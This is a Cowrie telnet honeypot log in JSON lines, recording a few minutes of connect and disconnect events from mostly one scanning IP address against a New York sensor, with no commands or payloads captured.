{"eventid":"cowrie.session.closed","duration":33.70704245567322,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:47:12.936358Z","src_ip":"135.148.33.91","session":"51f4ce63a3c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":59620,"dst_ip":"159.203.135.109","dst_port":23,"session":"53feead954fd","protocol":"telnet","message":"New connection: 98.158.129.28:59620 (159.203.135.109:23) [session: 53feead954fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:47:20.750295Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":60358,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9f6b1fad4d1","protocol":"telnet","message":"New connection: 98.158.129.28:60358 (159.203.135.109:23) [session: f9f6b1fad4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:47:23.363348Z"}
{"eventid":"cowrie.session.closed","duration":32.992292642593384,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:47:37.731176Z","src_ip":"135.148.33.91","session":"a0e7a960c445","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.315739154815674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:47:51.065904Z","src_ip":"98.158.129.28","session":"53feead954fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.395373821258545,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:47:55.758635Z","src_ip":"98.158.129.28","session":"f9f6b1fad4d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50828,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1d9ee52eace","protocol":"telnet","message":"New connection: 135.148.33.91:50828 (159.203.135.109:23) [session: c1d9ee52eace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:14.092997Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":45641,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c602cf49fae","protocol":"telnet","message":"New connection: 98.158.129.28:45641 (159.203.135.109:23) [session: 6c602cf49fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:24.324299Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":49401,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1dd6ab674f6","protocol":"telnet","message":"New connection: 98.158.129.28:49401 (159.203.135.109:23) [session: d1dd6ab674f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:41.336486Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.220.197.172","src_port":38326,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec62d73e42a7","protocol":"telnet","message":"New connection: 87.220.197.172:38326 (159.203.135.109:23) [session: ec62d73e42a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:42.288598Z"}
{"eventid":"cowrie.session.closed","duration":33.751954317092896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:47.844829Z","src_ip":"135.148.33.91","session":"c1d9ee52eace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":50507,"dst_ip":"159.203.135.109","dst_port":23,"session":"55e97f30e992","protocol":"telnet","message":"New connection: 98.158.129.28:50507 (159.203.135.109:23) [session: 55e97f30e992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:50.646253Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":52251,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2a9212ea784","protocol":"telnet","message":"New connection: 98.158.129.28:52251 (159.203.135.109:23) [session: a2a9212ea784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:55.151714Z"}
{"eventid":"cowrie.session.closed","duration":13.177392959594727,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:55.465867Z","src_ip":"87.220.197.172","session":"ec62d73e42a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":52356,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc651ae94fc9","protocol":"telnet","message":"New connection: 98.158.129.28:52356 (159.203.135.109:23) [session: cc651ae94fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:55.611728Z"}
{"eventid":"cowrie.session.closed","duration":31.478757619857788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:55.802908Z","src_ip":"98.158.129.28","session":"6c602cf49fae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":52223,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9e7c2481255","protocol":"telnet","message":"New connection: 98.158.129.28:52223 (159.203.135.109:23) [session: b9e7c2481255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:55.963342Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":52720,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fe1065c29cb","protocol":"telnet","message":"New connection: 98.158.129.28:52720 (159.203.135.109:23) [session: 9fe1065c29cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:57.298124Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":52859,"dst_ip":"159.203.135.109","dst_port":23,"session":"b14fc6301a4d","protocol":"telnet","message":"New connection: 98.158.129.28:52859 (159.203.135.109:23) [session: b14fc6301a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:57.902063Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":48664,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbfaf9a060fc","protocol":"telnet","message":"New connection: 135.148.33.91:48664 (159.203.135.109:23) [session: fbfaf9a060fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:58.156543Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":53075,"dst_ip":"159.203.135.109","dst_port":23,"session":"67d9329d02f1","protocol":"telnet","message":"New connection: 98.158.129.28:53075 (159.203.135.109:23) [session: 67d9329d02f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:48:59.917806Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":53404,"dst_ip":"159.203.135.109","dst_port":23,"session":"7026cc1dfd4e","protocol":"telnet","message":"New connection: 98.158.129.28:53404 (159.203.135.109:23) [session: 7026cc1dfd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:00.377354Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":52250,"dst_ip":"159.203.135.109","dst_port":23,"session":"7befef7374a3","protocol":"telnet","message":"New connection: 98.158.129.28:52250 (159.203.135.109:23) [session: 7befef7374a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:02.422422Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":54673,"dst_ip":"159.203.135.109","dst_port":23,"session":"05c4be3d6bb1","protocol":"telnet","message":"New connection: 98.158.129.28:54673 (159.203.135.109:23) [session: 05c4be3d6bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:06.526572Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":54713,"dst_ip":"159.203.135.109","dst_port":23,"session":"49be9b76da1d","protocol":"telnet","message":"New connection: 98.158.129.28:54713 (159.203.135.109:23) [session: 49be9b76da1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:07.701692Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":55023,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fca8fbc061c","protocol":"telnet","message":"New connection: 98.158.129.28:55023 (159.203.135.109:23) [session: 9fca8fbc061c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:08.042686Z"}
{"eventid":"cowrie.session.closed","duration":31.19618558883667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:12.532481Z","src_ip":"98.158.129.28","session":"d1dd6ab674f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":57823,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c710b285433","protocol":"telnet","message":"New connection: 98.158.129.28:57823 (159.203.135.109:23) [session: 9c710b285433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:21.009521Z"}
{"eventid":"cowrie.session.closed","duration":31.315579891204834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:21.961746Z","src_ip":"98.158.129.28","session":"55e97f30e992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.207878589630127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:26.171070Z","src_ip":"98.158.129.28","session":"b9e7c2481255","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.203598260879517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:26.355167Z","src_ip":"98.158.129.28","session":"a2a9212ea784","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.077978134155273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:26.689595Z","src_ip":"98.158.129.28","session":"cc651ae94fc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12380075454712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:28.421799Z","src_ip":"98.158.129.28","session":"9fe1065c29cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.460970163345337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:29.362833Z","src_ip":"98.158.129.28","session":"b14fc6301a4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573455095291138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:30.491158Z","src_ip":"98.158.129.28","session":"67d9329d02f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.859269857406616,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:32.015796Z","src_ip":"135.148.33.91","session":"fbfaf9a060fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.806246042251587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:32.183485Z","src_ip":"98.158.129.28","session":"7026cc1dfd4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.077309131622314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:33.499595Z","src_ip":"98.158.129.28","session":"7befef7374a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080459356307983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:37.606903Z","src_ip":"98.158.129.28","session":"05c4be3d6bb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98766565322876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:38.689251Z","src_ip":"98.158.129.28","session":"49be9b76da1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":33389,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fe06b24f80b","protocol":"telnet","message":"New connection: 98.158.129.28:33389 (159.203.135.109:23) [session: 5fe06b24f80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:38.814997Z"}
{"eventid":"cowrie.session.closed","duration":31.270304679870605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:39.312859Z","src_ip":"98.158.129.28","session":"9fca8fbc061c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":34282,"dst_ip":"159.203.135.109","dst_port":23,"session":"309c0f70e216","protocol":"telnet","message":"New connection: 98.158.129.28:34282 (159.203.135.109:23) [session: 309c0f70e216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:43.105292Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":34032,"dst_ip":"159.203.135.109","dst_port":23,"session":"9faf1355ce40","protocol":"telnet","message":"New connection: 98.158.129.28:34032 (159.203.135.109:23) [session: 9faf1355ce40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:44.842987Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":35488,"dst_ip":"159.203.135.109","dst_port":23,"session":"56dd5fc8201e","protocol":"telnet","message":"New connection: 98.158.129.28:35488 (159.203.135.109:23) [session: 56dd5fc8201e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:48.942706Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":35462,"dst_ip":"159.203.135.109","dst_port":23,"session":"119526240944","protocol":"telnet","message":"New connection: 98.158.129.28:35462 (159.203.135.109:23) [session: 119526240944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:49.824446Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":35548,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d802cb9326b","protocol":"telnet","message":"New connection: 98.158.129.28:35548 (159.203.135.109:23) [session: 0d802cb9326b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:52.312666Z"}
{"eventid":"cowrie.session.closed","duration":31.42628240585327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:52.435674Z","src_ip":"98.158.129.28","session":"9c710b285433","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":36495,"dst_ip":"159.203.135.109","dst_port":23,"session":"9443e7229d0a","protocol":"telnet","message":"New connection: 98.158.129.28:36495 (159.203.135.109:23) [session: 9443e7229d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:53.058530Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":37715,"dst_ip":"159.203.135.109","dst_port":23,"session":"f46b5541e712","protocol":"telnet","message":"New connection: 98.158.129.28:37715 (159.203.135.109:23) [session: f46b5541e712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:49:58.617764Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":38528,"dst_ip":"159.203.135.109","dst_port":23,"session":"244804b265f1","protocol":"telnet","message":"New connection: 98.158.129.28:38528 (159.203.135.109:23) [session: 244804b265f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:02.104048Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":38367,"dst_ip":"159.203.135.109","dst_port":23,"session":"59a9d5a60172","protocol":"telnet","message":"New connection: 98.158.129.28:38367 (159.203.135.109:23) [session: 59a9d5a60172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:04.504773Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":39069,"dst_ip":"159.203.135.109","dst_port":23,"session":"da721ed7d040","protocol":"telnet","message":"New connection: 98.158.129.28:39069 (159.203.135.109:23) [session: da721ed7d040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:04.865872Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":39165,"dst_ip":"159.203.135.109","dst_port":23,"session":"956585329be3","protocol":"telnet","message":"New connection: 98.158.129.28:39165 (159.203.135.109:23) [session: 956585329be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:05.506517Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":39531,"dst_ip":"159.203.135.109","dst_port":23,"session":"10bd4c400b24","protocol":"telnet","message":"New connection: 98.158.129.28:39531 (159.203.135.109:23) [session: 10bd4c400b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:07.242246Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":40084,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a5577a34389","protocol":"telnet","message":"New connection: 98.158.129.28:40084 (159.203.135.109:23) [session: 8a5577a34389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:10.601013Z"}
{"eventid":"cowrie.session.closed","duration":32.04503345489502,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:10.859863Z","src_ip":"98.158.129.28","session":"5fe06b24f80b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98721694946289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:14.092402Z","src_ip":"98.158.129.28","session":"309c0f70e216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493869066238403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:15.336731Z","src_ip":"98.158.129.28","session":"9faf1355ce40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.277544021606445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:20.220135Z","src_ip":"98.158.129.28","session":"56dd5fc8201e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.412102460861206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:21.235951Z","src_ip":"98.158.129.28","session":"119526240944","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.189054250717163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:23.501586Z","src_ip":"98.158.129.28","session":"0d802cb9326b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.957136631011963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:29.574794Z","src_ip":"98.158.129.28","session":"f46b5541e712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":44949,"dst_ip":"159.203.135.109","dst_port":23,"session":"476f6b65b927","protocol":"telnet","message":"New connection: 98.158.129.28:44949 (159.203.135.109:23) [session: 476f6b65b927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:30.841884Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":45148,"dst_ip":"159.203.135.109","dst_port":23,"session":"22c0a793e285","protocol":"telnet","message":"New connection: 98.158.129.28:45148 (159.203.135.109:23) [session: 22c0a793e285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:31.858522Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":45144,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2980a58bcc9","protocol":"telnet","message":"New connection: 98.158.129.28:45144 (159.203.135.109:23) [session: a2980a58bcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:32.851232Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":45210,"dst_ip":"159.203.135.109","dst_port":23,"session":"67a343c8c22a","protocol":"telnet","message":"New connection: 98.158.129.28:45210 (159.203.135.109:23) [session: 67a343c8c22a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:33.219459Z"}
{"eventid":"cowrie.session.closed","duration":31.667048454284668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:33.770927Z","src_ip":"98.158.129.28","session":"244804b265f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46406316757202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:35.968705Z","src_ip":"98.158.129.28","session":"59a9d5a60172","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.807908535003662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:36.673655Z","src_ip":"98.158.129.28","session":"da721ed7d040","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.741319179534912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:37.247713Z","src_ip":"98.158.129.28","session":"956585329be3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":46383,"dst_ip":"159.203.135.109","dst_port":23,"session":"557b25190bd9","protocol":"telnet","message":"New connection: 98.158.129.28:46383 (159.203.135.109:23) [session: 557b25190bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:37.588140Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":50201,"dst_ip":"10.17.0.5","dst_port":23,"session":"b559f65f7bfd","protocol":"telnet","message":"New connection: 49.88.156.34:50201 (10.17.0.5:23) [session: b559f65f7bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:37.949668Z"}
{"eventid":"cowrie.session.closed","duration":30.78350830078125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:38.025634Z","src_ip":"98.158.129.28","session":"10bd4c400b24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.62676167488098,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:43.227678Z","src_ip":"98.158.129.28","session":"8a5577a34389","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":47322,"dst_ip":"159.203.135.109","dst_port":23,"session":"9448823118d7","protocol":"telnet","message":"New connection: 98.158.129.28:47322 (159.203.135.109:23) [session: 9448823118d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:45.029593Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":50060,"dst_ip":"159.203.135.109","dst_port":23,"session":"f303817d21cd","protocol":"telnet","message":"New connection: 98.158.129.28:50060 (159.203.135.109:23) [session: f303817d21cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:55.986762Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":50483,"dst_ip":"159.203.135.109","dst_port":23,"session":"a38270536d06","protocol":"telnet","message":"New connection: 98.158.129.28:50483 (159.203.135.109:23) [session: a38270536d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:50:57.001230Z"}
{"eventid":"cowrie.session.closed","duration":31.103062629699707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:01.944816Z","src_ip":"98.158.129.28","session":"476f6b65b927","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":51274,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0f0933cf263","protocol":"telnet","message":"New connection: 98.158.129.28:51274 (159.203.135.109:23) [session: e0f0933cf263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:02.230352Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":51541,"dst_ip":"159.203.135.109","dst_port":23,"session":"69a8700d330e","protocol":"telnet","message":"New connection: 98.158.129.28:51541 (159.203.135.109:23) [session: 69a8700d330e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:02.607774Z"}
